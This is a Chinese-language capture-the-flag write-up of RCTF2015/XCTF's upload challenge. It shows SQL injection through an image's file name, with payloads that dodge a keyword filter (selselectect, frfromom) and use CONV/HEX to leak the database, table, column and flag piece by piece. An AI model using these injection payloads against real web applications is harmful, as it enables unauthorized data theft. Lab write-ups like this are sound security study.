美文网首页WEB
RCTF2015+XCTF复现之一次上传的图片的文件名造成注入

RCTF2015+XCTF复现之一次上传的图片的文件名造成注入

作者: kepler404 | 来源:发表于2019-02-20 15:05 被阅读4次

    upload

    sql注入

    【原理】

    首先先了解几个函数的意义:

    mid(),hex(),conv()

    mid():MID(str,pos,len)

    从字符串str返回一个len个字符的子串,从位置pos开始。使用FROM的变种形式是ANSI SQL92语法。

    mysql> select SUBSTRING('Quadratically',5,6);

        -> 'ratica'

    hex():返回十六进制值N一个字符串的表示,在此N是一个长整型(BIGINT)数字,这等价于CONV(N,10,16)。如果N是NULL,返回NULL。

    mysql> select HEX(255);

        -> 'FF'

    CONV(N,from_base,to_base)

      在不同的数字基数之间转换数字。将数字 N 从from_base 转换到 to_base,并以字符串形式返回。如果任何一个参数为 NULL,那么返回值也为 NULL。参数 N 被解释为是一个整数,但是也可以被指定为一个整数或一个字符串。最小基为 2,最大基为 36。如果 to_base 是一个负值,N 将被看作为是一个有符号数字。否则,N 被视为是无符号的。CONV 以 64 位精度工作。

    mysql> select conv(100,10,2);

      +----------------+

      | conv(100,10,2) |

      +----------------+

      | 1100100 |

      +----------------+

    ---------------------

    【步骤】

    图片的文件名可以造成注入

    因为这个题目对select from 有过滤,所以用 selselectect frfromom 代替

    构造payload

    查询数据库:

    sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

    返回:sql 131277325825392 => web_up

    sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg

    返回:sql 1819238756 => load

    拼接起来得知数据库名为:web_upload

    然后查表:

    sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom

    information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit

    1,1)),1,12),16,10))+'.jpg

    返回:sql 114784820031327 => hello_

    sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom

    information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit

    1,1)),13,12),16,10))+'.jpg

    返回:sql 112615676665705 => flag_i

    sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom

    information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit

    1,1)),25,12),16,10))+'.jpg

    返回:sql 126853610566245 => s_here

    拼接起来得知存放flag的表名为:hello_flag_is_here

    然后查这个表里有什么字段:

    sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom

    information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit

    0,1)),1,12),16,10))+'.jpg

    返回:sql 115858377367398 => i_am_f

    sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom

    information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit

    0,1)),13,12),16,10))+'.jpg

    返回:sql 7102823=> lag

    拼接起来得知存放flag的字段是:i_am_flag

    然后查询flag:

    sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

    返回: sql 36427215695199 => !!_@m_

    sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

    返回:sql 92806431727430=> Th.e_F

    sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

    返回: sql 560750951=> !lag

    拼起来之后得到flag:!!_@m_Th.e_F!lag

    参考https://blog.csdn.net/niexinming/article/details/49888893?utm_source=blogxgwz0

    相关文章

      网友评论

        本文标题:RCTF2015+XCTF复现之一次上传的图片的文件名造成注入

        本文链接:https://www.haomeiwen.com/subject/sujhyqtx.html